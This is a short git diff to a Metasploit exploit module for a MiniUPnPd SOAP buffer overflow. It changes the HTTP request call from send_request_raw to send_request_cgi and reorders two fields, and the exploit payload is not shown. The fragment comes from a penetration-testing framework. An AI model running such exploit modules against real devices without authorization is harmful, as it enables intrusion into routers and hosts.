diff --git a/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb b/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb
index c6f5fa24ca..45868d6ce5 100644
--- a/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb
+++ b/modules/exploits/multi/upnp/miniupnpd_soap_bof.rb
@@ -107,9 +107,9 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Build and send the HTTP request
 		#
 		print_status("Sending exploit to victim #{target.name} at ...")
-		send_request_raw({
-			'uri'		 => target_uri.path,
+		send_request_cgi({
 			'method'	=> 'POST',
+			'uri'		 => target_uri.path,
 			'headers' => {
 				'SOAPAction' => sploit,
 				#'User-Agent' => 'Python-urllib/2.7',